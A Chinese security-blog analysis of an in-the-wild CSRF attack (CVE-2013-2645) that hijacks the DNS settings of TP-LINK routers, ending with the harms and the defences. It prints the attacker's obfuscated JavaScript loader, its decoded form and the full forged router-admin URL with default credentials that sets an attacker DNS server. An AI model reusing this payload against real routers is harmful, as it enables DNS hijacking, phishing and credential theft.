针对TP-LINK的CSRF攻击来劫持DNS案例

admin 2021年4月2日19:34:15评论70 views字数 3404阅读11分20秒阅读模式

0x00 背景

路由被CSRF攻击,修改DNS的话题最近一直比较活跃,但是国内貌似没有一个技术文章详细的分析此漏洞,漏洞成因比较简单,本篇来科普一下。

本篇讲得是一个利用CVE-2013-2645的漏洞,来修改TP-LINK的DNS案例,针对其他路由的攻击大同小异。

0x01 EXP分析

攻击者会在自己的网站或者已经受他控制的网站上加入一段javascript代码:

document.write("

javascript代码动态的从外站加载一个ma.js的文件,看一下ma.js文件里的内容:

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k||e(c);k=[function(e){return d[e]}];e=function(){return'w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('b'+e(c)+'b','g'),k);return p;}('T w$=["E65mo3q5m837"53G5jr66"yBde8v45qu4oHn558AjjaiedfAaiedfB2kh12g91212ju634z8ejsafFnr8C34l34z8e1n5eIinr8634l3472cd8272kh12g91212bbcd8h72kh12g91212kkcs3a6372hbcQa53xam7b1b1b1bciveadf7cif6634l3472bg129P1Dg19Rcif6634l34h79191919cCal37pt2pSDOptKpJgLNEj65mo3yq"];M["x4d53of"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))

嗯,是一段混淆的js代码,eval执行一段混淆代码,把eval换成console.log在浏览器的控制台输出一下:

var _$=["x3cx73x74x79x6cx65x20x74x79x70x65x3d"x74x65x78x74x2fx63x73x73"x3ex40x69x6dx70x6fx72x74x20x75x72x6cx28x68x74x74x70x3ax2fx2fx61x64x6dx69x6ex3ax61x64x6dx69x6ex40x31x39x32x2ex31x36x38x2ex31x2ex31x2fx75x73x65x72x52x70x6dx2fx4cx61x6ex44x68x63x70x53x65x72x76x65x72x52x70x6dx2ex68x74x6dx3fx64x68x63x70x73x65x72x76x65x72x3dx31x26x69x70x31x3dx31x39x32x2ex31x36x38x2ex31x2ex31x30x30x26x69x70x32x3dx31x39x32x2ex31x36x38x2ex31x2ex31x39x39x26x4cx65x61x73x65x3dx31x32x30x26x67x61x74x65x77x61x79x3dx30x2ex30x2ex30x2ex30x26x64x6fx6dx61x69x6ex3dx26x64x6ex73x73x65x72x76x65x72x3dx31x30x36x2ex31x38x37x2ex33x36x2ex38x35x26x64x6ex73x73x65x72x76x65x72x32x3dx38x2ex38x2ex38x2ex38x26x53x61x76x65x3dx25x42x31x25x41x33x2bx25x42x34x25x45x36x29x3bx3cx2fx73x74x79x6cx65x3ex20"];document["x77x72x69x74x65x6cx6e"](_$[0]);

仍然是混淆的代码,但是比一开始的容易看很多,只是把一些字符串给转成了16进制方式表示而已。

x77x72x69x74x65x6cx6e这段16进制表示的是字符串writeln。

javascript中document["writeln"]与document.writeln一样,这是javascript两种访问对象属性的写法。

代码最终等同于:

document.writeln('')

现在就很明了了,写了一个style标签import一个css调用,让浏览器去访问这个地址:

http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

很明显的一个CSRF攻击,攻击者的主要目的是把dns服务器换成106.187.36.85,为了使攻击成功,还加入了一些必要的提交参数,如ip范围是从192.168.1.100-199等。

为了确保所有访问都没有问题,还加入了google的dns,当106.187.36.85有不能解析的域名时,去8.8.8.8获取地址。

针对CSRF的原理危害以及修复方式,drops之前有文章讲过可以参考一下:

CSRF简单介绍及利用方法

应当注意的是这个利用是根据路由的默认密码进入后台做一系列的操作的,如果路由器已经修改的默认用户名密码,可以避免此危害,但是如果浏览器已经在路由后台,或者cookie还未失效,仍然能够攻击成功。

0x02 修改DNS的危害

攻击者为什么要修改DNS呢,当他获取DNS的权限后,他能做什么呢:

1、用户打开一个正常网站时,重定向到一个钓鱼网站。

2、给正常网站加入挂马代码,控制用户PC。

3、软件升级时候不用签名的话,可控制软件的升级。

4、不使用证书的话可以截取邮箱密码,网站上的密码等等。

5、更改网站上的广告,换成自己的。(我觉得这是天朝黑客获取利润的方式)

0x03 如何避免这种攻击

1、首先应该先检查一下自己的dns是否已经被改变了。

2、升级路由的固件,有部分型号已经修复。

3、更改路由器的默认密码。

4、登陆路由后,退出要点击“注销”。

[原文地址]

参考资料:

Real-World CSRF attack hijacks DNS Server configuration of TP-Link routers

文章来源于lcx.cc:针对TP-LINK的CSRF攻击来劫持DNS案例

相关推荐: 大家来猜搜狗那个安全漏洞的形成原因(猜对获得肉肉签名手帕一只)

大家来猜搜狗那个安全漏洞的形成原因(猜对获得肉肉签名手帕一只) xsser (十根阳具有长短!!) | 2013-11-06 10:59 首先我觉得这个问题应该是真实的,在用户量大的时候很容易由于内部的算法导致两个用户的身份认证出现混淆,从而导致所谓的“串号”…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日19:34:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对TP-LINK的CSRF攻击来劫持DNS案例https://cn-sec.com/archives/316120.html

发表评论

匿名网友 填写信息